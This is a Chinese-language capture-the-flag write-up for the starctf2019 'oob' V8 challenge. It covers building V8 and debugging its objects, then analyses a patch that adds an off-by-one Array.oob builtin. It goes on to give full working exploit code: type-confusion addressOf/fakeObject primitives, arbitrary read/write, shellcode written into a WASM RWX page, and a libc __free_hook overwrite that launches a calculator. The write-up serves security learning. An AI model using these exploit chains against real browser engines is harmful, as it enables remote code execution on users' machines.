何时才能遇到你呀,仅仅是如果…

前置知识

V8环境安装

V8的编译安装其实并不复杂,最重要的是你要有一个好的代理, 只要网速跟上了, 问题就不大了…

  1. 设置Terminal代理和git代理,设置环境变量:
export http_proxy="http://192.168.56.1:7891"
export https_proxy=$http_proxy
git config --global http.proxy http://192.168.56.1:7891
bash
  1. 使用git下载depot_toolsninja, 设置环境变量:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
git clone https://github.com/ninja-build/ninja.git
echo 'export PATH=$PATH:"<depot_tools_path>"' >> ~/.bashrc
echo 'export PATH=$PATH:"<ninja_path>"' >> ~/.bashrc
cd ninja && ./configure.py --bootstrap && cd ..
bash
  1. 拉取v8仓库(耐心等…):
fetch v8
cd v8
  1. 编译指定版本(如果要编译最新的版本则不需要这步):
git reset --hard [commit hash with vulnerability]
  1. 下载其他的依赖项:
gclient sync
  1. 打补丁(按需要, 没有补丁则不需要):
git apply path_of_diff
  1. 生成工程,编译到指定目录:
tools/dev/v8gen.py -b x64.debug debug
ninja -C out.gn/debug d8
  1. 设置v8的gdb的工具:
# vim .gdbinit
source path_to_v8/tools/gdbinit
source path_to_v8/tools/gdb-v8-support.py

同时为了gdb调试方便, 建议安装pwndbg

可能遇到问题

depot_tools/bootstrap_python3: 行 32: bootstrap-.chromium._bin/python3/bin/python3: 没有那个文件或目录

depot_tools/bootstrap_python3文件的BOOTSTRAP_PYTHON_BIN参数的python3换成本地的python3路径就可以
解决:

# emacs depot_tools/bootstrap_python3
-BOOTSTRAP_PYTHON_BIN="${BOOTSTRAP_PATH}/python3/bin/python3"
+BOOTSTRAP_PYTHON_BIN="/usr/bin/python3"

Command: python /home/a/v8-build/v8/build/config/linux/pkg-config.py -s /home/a/v8-build/v8/build/linux/debian_sid_amd64-sysroot -a x64 glib-2.0 gmodule-2.0 gobject-2.0 gthread-2.0 Returned 1.

这类问题是因为切换到某个老版本后,缺乏老版本需要的依赖项导致的,应该可以从报错信息中看出缺少的是哪些依赖,这里是因为缺少glib-2.0,按需要安装就可以:

sudo apt-get install glib-2.0

V8基础知识

通过gdb来调试debug版本的v8, 可以清楚的看到各种数据结构;
源文件(test.js):

var a = [1.1,1.2,1.3];
%DebugPrint(a); // 查看对象地址
%SystemBreak(); // 触发调试中断

gdb调试:

gdb --args ./d8 --allow-natives-syntax ./test.js

JavaScript对象的内存结构, 可以通过job命令来查看:

pwndbg> r
Starting program: /home/sir/tools/v8/out.gn/debug/d8 --allow-natives-syntax ./test.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f416a59e700 (LWP 24319)]
DebugPrint: 0x22ba081094b9: [JSArray]- map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x22ba0828c0e9 <JSArray[0]>- elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]- length: 3- properties: 0x22ba0800222d <FixedArray[0]>- All own properties (excluding elements): {0x22ba080048f1: [String] in ReadOnlySpace: #length: 0x22ba0820215d <AccessorInfo> (const accessor descriptor), location: descriptor}- elements: 0x22ba08109499 <FixedDoubleArray[3]> {0: 1.11: 1.22: 1.3}
0x22ba082c3ae1: [Map]- type: JS_ARRAY_TYPE- instance size: 16- inobject properties: 0- elements kind: PACKED_DOUBLE_ELEMENTS- unused property fields: 0- enum length: invalid- back pointer: 0x22ba082c3ab9 <Map(HOLEY_SMI_ELEMENTS)>- prototype_validity cell: 0x22ba08202405 <Cell value= 1>- instance descriptors #1: 0x22ba0828c59d <DescriptorArray[1]>- transitions #1: 0x22ba0828c5e9 <TransitionArray[4]>Transition array #1:0x22ba0800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x22ba082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>- prototype: 0x22ba0828c0e9 <JSArray[0]>- constructor: 0x22ba0828be85 <JSFunction Array (sfi = 0x22ba0820fe71)>- dependent code: 0x22ba080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>- construction counter: 0

这些是%DebugPrint(a)打印出来的内容, 我们也可以通过job命令来查看:

pwndbg> job 0x22ba081094b9
0x22ba081094b9: [JSArray]- map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x22ba0828c0e9 <JSArray[0]>- elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]- length: 3- properties: 0x22ba0800222d <FixedArray[0]>- All own properties (excluding elements): {0x22ba080048f1: [String] in ReadOnlySpace: #length: 0x22ba0820215d <AccessorInfo> (const accessor descriptor), location: descriptor}- elements: 0x22ba08109499 <FixedDoubleArray[3]> {0: 1.11: 1.22: 1.3}

这里展示了一个对象的属性:

  • map:定义了如何访问对象
  • prototype:对象的原型
  • elements:对象的地址
  • length:长度
  • properties:属性,存有map和length
    其中我们用的最多的也最重要的是mapelements
pwndbg> telescope 0x22ba08109499-1
00:0000│  0x22ba08109498 ◂— 0x608002a95
01:0008│  0x22ba081094a0 ◂— 0x3ff199999999999a
02:0010│  0x22ba081094a8 ◂— 0x3ff3333333333333
03:0018│  0x22ba081094b0 ◂— 0x3ff4cccccccccccd
04:0020│  0x22ba081094b8 ◂— 0x800222d082c3ae1
05:0028│  0x22ba081094c0 ◂— 0x608109499
06:0030│  0x22ba081094c8 ◂— 0xbeadbeefbeadbeef
07:0038│  0x22ba081094d0 ◂— 0xbeadbeefbeadbeef
pwndbg> p {double} 0x22ba081094a0
$1 = 1.1000000000000001
pwndbg> p {double} 0x22ba081094a8
$2 = 1.2
pwndbg> p {double} 0x22ba081094b0
$3 = 1.3
pwndbg> x/20wx 0x22ba08109498
0x22ba08109498: 0x08002a95      0x00000006  0x9999999a  0x3ff19999
0x22ba081094a8: 0x33333333      0x3ff33333  0xcccccccd  0x3ff4cccc
0x22ba081094b8: 0x082c3ae1(map) 0x0800222d  0x08109499  0x00000006
0x22ba081094c8: 0xbeadbeef      0xbeadbeef  0xbeadbeef  0xbeadbeef
0x22ba081094d8: 0xbeadbeef      0xbeadbeef  0xbeadbeef  0xbeadbeef

v8中,如果一个值表示的是指针,那么会将该值的最低bit设置为1,所以真实的值需要-1(查看地址的时候需要注意, job命令不需要-1);同时map的地址刚好在elements之后, 同时这里还有一个指针压缩的概念(不一定每个版本的v8都有), 通常relase版本的基地址是存在r13寄存器的, debug版本是存在r14寄存器的:

pwndbg> p/x $r14
$4 = 0x22ba00000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA0x22ba00000000     0x22ba00003000 rw-p     3000 0      0x22ba00003000     0x22ba00004000 ---p     1000 0      0x22ba00004000     0x22ba00015000 r-xp    11000 0

starctf2019-oob

环境搭建

这里可以下载题目: https://github.com/sixstars/starctf2019/tree/master/pwn-OOB
还原题目环境:

cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598               #设置v8分支
gclient sync
git apply ../../oob.diff
tools/dev/v8gen.py -b x64.release oob
ninja -C out.gn/oob

diff分析

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,Builtins::kArrayPrototypeCopyWithin, 2, false);SimpleInstallFunction(isolate_, proto, "fill",Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);SimpleInstallFunction(isolate_, proto, "find",Builtins::kArrayPrototypeFind, 1, false);SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,return *final_length;}}  // namespace
+BUILTIN(ArrayOob){+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}BUILTIN(ArrayPush) {HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \\/* ArrayBuffer */                                                            \/* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {return Type::Receiver();case Builtins::kArrayUnshift:return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();// ArrayBuffer functions.case Builtins::kArrayBufferIsView:

该diff文件实际就是增加了一个oob函数,函数将首先检查参数的数量是否大于2(第一个参数始终是this参数); 如果是,则返回undefined; 如果只有一个参数(this),它将数组转换成FixedDoubleArray,然后返回array[length](也就是以浮点数形式返回array[length]),如果有两个参数(this和value),它以float形式将value写入array[length]。 由于创建一个数组长度为length时我们可以访问的是第0到length-1个元素,但是该段代码却直接读取和写入第length个元素,这样就造成了off-by-one;
而这个off-by-one可以刚好使我们修改map指针;

sir@sir:oob$ ./d8
V8 version 7.5.0 (candidate)
d8> var a = [1, 2, 3, 4];
undefined
d8> a
[1, 2, 3, 4]
d8> a.oob()
1.5994533561727e-310
d8> a.oob(6)
undefined
d8> a.oob()
6
d8>

利用思路

编写addressOf和fakeObject原语

addressOf: 计算一个对象的地址, 将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。
fakeObject:将一个内存地址伪造为一个对象, 将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。
如果我们定义一个FloatArray浮点数数组A,然后再定义一个对象数组B; 正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了…
所以这里我们先定义两个全局的Float数组和对象数组,利用oob函数漏洞泄露两个数组的Map类型:

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

addressOf:

// 泄露object的地址
function addressOf(obj_to_leak)
{obj_array[0] = obj_to_leak;                   //将要泄露的对象放到对象数组上obj_array.oob(float_array_map);             //将对象数组的头替换为float数组的maplet obj_addr = f2i(obj_array[0]) - 1n;      //地址要减1obj_array.oob(obj_array_map);                // 还原array类型以便之后续继续使用return obj_addr;                           //返回float
}

fakeObject:

// 将addr强制转换为object对象
function fakeObject(addr_to_fake)
{float_array[0] = i2f(addr_to_fake + 1n); //将地址+1转变为对象float_array.oob(obj_array_map);                //将float数组的头替换为对象数组的maplet faked_obj = float_array[0];             //将对象变量返回float_array.oob(float_array_map);          // 还原array类型以便后续继续使用return faked_obj;                           //返回对象
}

任意地址读写

当有了fakeObject之后我们基本就有了任意地址读写的能力了, 因为由于这块fakeObject是我们构造的,我们就可以控制其中的elements字段了, 而elements实际上是个指针,指向elements这个fakeObject对象的地址,当我们操作数组元素时,其实操作的是从elements对象地址+0x10的内存(对于float的数组),所以我们只要把elements位置处的值覆盖为任意地址,这样我们操作数组元素时,操作的就是这块写的任意地址的内存:

var fake_array = [                                               // [+0x40]float_array_map,i2f(0n),i2f(0x41414141n),i2f(0x1000000000n),1.1,2.2,
];var fake_array_addr = addressOf(fake_array);                 // +0x40
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;           // +0x10
var fake_object = fakeObject(fake_object_addr);                    // [+0x10]function read64(addr)
{fake_array[2] = i2f(addr - 0x10n + 0x1n);                        //elementlet leak_data = f2i(fake_object[0]);                          console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));return leak_data;
}function write64(addr, data)
{fake_array[2] = i2f(addr - 0x10n + 0x1n);                        fake_object[0] = i2f(data);console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

WASM

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术;
WasmFiddle网站上面可以进行将C语言直接转换为wasm并生成JS配套调用代码;
我们的利用思路是:

  1. 首先加载一段wasm代码到内存中
  2. 然后通过addressOf找到存放wasm的内存地址
  3. 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
  4. 最后调用wasm的函数接口即可触发调用shellcode

寻找存放wasm代码的内存页地址

通过Function–>shared_info(Function+0x18)–>WasmExportedFunctionData(SharedFunctionInfo+0x8)–>instance(WasmExportedFunctionData+0x10)->rwx_addr(instance+0x88),就能读取到存储wasm代码的内存页起始地址了;

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

当然, 通过分析其他CVEEXP, 获取rwx_page_addr也可以换一种方式读取:

var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));

EXP

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);function f2i(f) {float64[0] = f;return bigUint64[0];
}function i2f(i) {bigUint64[0] = i;return float64[0];
}function hex(i) {return i.toString(16).padStart(16, "0");
}var obj = {"x": 1
};var obj_array = [obj];
var float_array = [6.6];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();function addressOf(obj_to_leak) {obj_array[0] = obj_to_leak;obj_array.oob(float_array_map);var obj_addr = f2i(obj_array[0]) - 1n;obj_array.oob(obj_array_map);return obj_addr;
}function fakeObject(addr) {float_array[0] = i2f(addr + 1n);float_array.oob(obj_array_map);var fake_obj = float_array[0];float_array.oob(float_array_map);return fake_obj;
}var fake_arry = [float_array_map,i2f(0n),i2f(0x61616161n),i2f(0x1000000000n),1.1,2.2,
];//%DebugPrint(fake_arry);var fake_arry_addr = addressOf(fake_arry);
console.log("fake_arry_addr: " + hex(fake_arry_addr));
var fake_addr = fake_arry_addr - 0x30n; //0x8*fake_arry.length
var fake_obj = fakeObject(fake_addr);function read_addr(addr) {fake_arry[2] = i2f(addr - 0x10n + 1n);var leak_data = f2i(fake_obj[0]);console.log("[*]leak_addr: " + hex(addr) + " leak_data:" + hex(leak_data));return leak_data;
}function write_data(addr, data) {fake_arry[2] = i2f(addr - 0x10n + 1n);fake_obj[0] = i2f(data);// console.log("[*]write_addr: " + hex(addr) + " write_data:" + hex(data));
}
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 1, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var exp = wasmInstance.exports.main;
var f_addr = addressOf(exp);
var shared_info_addr = read_addr(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read_addr(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read_addr(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read_addr(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));var shellcode = [0x90909090, 0x90909090, 0x782fb848, 0x636c6163, 0x48500000, 0x73752fb8, 0x69622f72, 0x8948506e, 0xc03148e7, 0x89485750, 0xd23148e6, 0x3ac0c748, 0x50000030, 0x4944b848, 0x414c5053, 0x48503d59, 0x3148e289, 0x485250c0, 0xc748e289, 0x00003bc0, 0x050f00];var data_buf = new ArrayBuffer(200);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write_data(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {data_view.setUint32(4 * i, shellcode[i], true);// data_view.setBigUint64(8*i, shellcode[i], true);}
exp();

还有一种常规pwn修改got表来执行system函数的EXP.参考fa1lr4in:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);// 浮点数转换为64位无符号整数
function f2i(f)
{float64[0] = f;return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{bigUint64[0] = i;return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{return i.toString(16).padStart(16, "0");
}var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{obj_array[0] = obj_to_leak;obj_array.oob(float_array_map);let obj_addr = f2i(obj_array[0]) - 1n;obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{float_array[0] = i2f(addr_to_fake + 1n);float_array.oob(obj_array_map);let faked_obj = float_array[0];float_array.oob(float_array_map); // 还原array类型,以便后续继续使用return faked_obj;
}
var fake_array = [float_array_map,i2f(0n),i2f(0x41414141n),i2f(0x1000000000n),1.1,2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{fake_array[2] = i2f(addr - 0x10n + 0x1n);let leak_data = f2i(fake_object[0]);console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));return leak_data;
}
function write64(addr, data)
{fake_array[2] = i2f(addr - 0x10n + 0x1n);fake_object[0] = i2f(data);console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{write64(buf_backing_store_addr, addr);data_view.setFloat64(0, i2f(data), true);// %SystemBreak();console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));var d8_base_addr = leak_d8_addr -0xfc8780n;
var d8_got_libc_start_main_addr = d8_base_addr + 0x12a47b0n;var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x00000000001EEB28n;console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();//write64(libc_free_hook_addr, libc_system_addr);
write64_dataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();function get_shell()
{let get_shell_buffer = new ArrayBuffer(0x1000);let get_shell_dataview = new DataView(get_shell_buffer);//get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00get_shell_dataview.setFloat64(0, i2f(0x69622fn), true); // /snap/biget_shell_dataview.setFloat64(3, i2f(0x2d656d6f6e672f6en), true); // n/gnome-get_shell_dataview.setFloat64(11, i2f(0x74616c75636c6163n), true); // calculatget_shell_dataview.setFloat64(19, i2f(0x726fn), true); // or
}
get_shell();

starCTF2019-oob相关推荐

  1. R语言使用randomForest包构建随机森林模型(Random forests)、使用importance函数查看特征重要度、使用table函数计算混淆矩阵评估分类模型性能、包外错误估计OOB

    R语言使用randomForest包中的randomForest函数构建随机森林模型(Random forests).使用importance函数查看特征重要度.使用table函数计算混淆矩阵评估分类 ...

  2. Some inputs do not have OOB scores. This probably means too few trees were used to compute any relia

    Some inputs do not have OOB scores. This probably means too few trees were used to compute any relia ...

  3. 随机森林之oob error 估计

    摘要:在随机森林之Bagging法中可以发现Bootstrap每次约有1/3的样本不会出现在Bootstrap所采集的样本集合中,当然也就没有参加决策树的建立,那是不是意味着就没有用了呢,答案是否定的 ...

  4. 极详细的ECC讲解 -OOB与ECC

    http://blog.csdn.net/dongzhichen/article/details/8249228 详细的ECC讲解 -OOB与ECC 在网络编程中 OOB(out of band)带外 ...

  5. nand flash坏块管理OOB,BBT,ECC

    0.NAND的操作管理方式      NAND FLASH的管理方式:以三星FLASH为例,一片Nand flash为一个设备(device),1 (Device) = xxxx (Blocks),1 ...

  6. OOB套接字传输实例(达不到预期结果)

    参考资料:<<Linux网络编程.pdf>>page119-205 代码本来是全照书上抄的,后来发现编译不成功,所以就稍微改了下.下面是我修改后的代码: server.c // ...

  7. 【转】SharePoint 2010 用户自定义编辑Meta标签的OOB方法

    今天遇到一个小问题,客户想要动态定制页面的<Head>标签里Meta, 而且需要使用OOB. 考虑了一下,Meta 标签肯定是用来让Server Crawl的, 那JS的方法首先排除,那就 ...

  8. OOB与COM交互读写本地文件

    相信读过前几篇Silverlight Out of Browser实例教程的朋友已经对Silverlight的OOB应用有了一定的认识和了解.今天,我们将讨论Silverlight Out of Br ...

  9. Silverlight 3 OOB 原理

    Silverlight 3 OOB 名词解释 OOB (Out of Browser): Silverlight 3新特性之一.在浏览器中运行的Web应用界面与传统桌面软件比起来总是死板,不够灵活的. ...

  10. Silverlight的OOB特性

    Out Of Brower 传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方.为了发送这些数据, ...

最新文章

  1. jquery 获取和设置 select下拉框的值(转手册)
  2. 自动化运维之PSSH
  3. c++ socket编程_C/C++中的Socket编程
  4. linux xia 安装程序,linux更新或安装libzip
  5. 什么情况使用 weak 关键字,相比 assign 有什么不同?
  6. python不用加号实现加法
  7. .net 开发 html框架,Asp.net的开发框架
  8. 毕业季-Java分布式开发面试题
  9. 【测试】15.质量管理体系
  10. 什么是软件测试的缺陷指标,软件测试缺陷度量分析
  11. 畅捷教育系统服务器,畅捷教育云平台使用手册一、学生操作流程图-畅捷通.PDF...
  12. 使用jsp实现成语接龙
  13. mac抓包工具charles破解版安装及简单使用
  14. adobe清理工具_Adobe终于通过其新的渐变工具实现了这一点-UX评论
  15. 了解MVP(最小可行产品) - 以及为什么我更喜欢最早的可测试/可用/可爱
  16. 车辆运动控制(4)考虑道路曲率和轮胎滑移
  17. 计算1000以内能被5和7整除的最大整数
  18. 【CicadaPlayer】播放器状态
  19. linux图片相似度检测软件下载,移动端图像相似度算法选型
  20. 最近连续三周活跃用户数

热门文章

  1. 什么是JavaBean、bean? 什么是POJO、PO、DTO、VO、BO ? 什么是EJB、EntityBean?
  2. 【u025】贝茜的晨练计划
  3. ESP8266(ESP模块)Arduino开发环境快速搭建方法--含网盘离线文件
  4. 使用FleaPHP框架构建简单留言本应用
  5. 用旧平板打造家庭云数码相框
  6. PLP: 4.2/4.3 Attribute Gramma阅读笔记3
  7. Microsoft Defender 高级威胁防护
  8. Callback cannot return a non-null value as it gets overwritten by the pipeline
  9. 让人可怕的团队是怎样炼成的?
  10. 关于书籍“Composing Programs”1.6.3自定义函数的嵌套定义与非嵌套定义的比较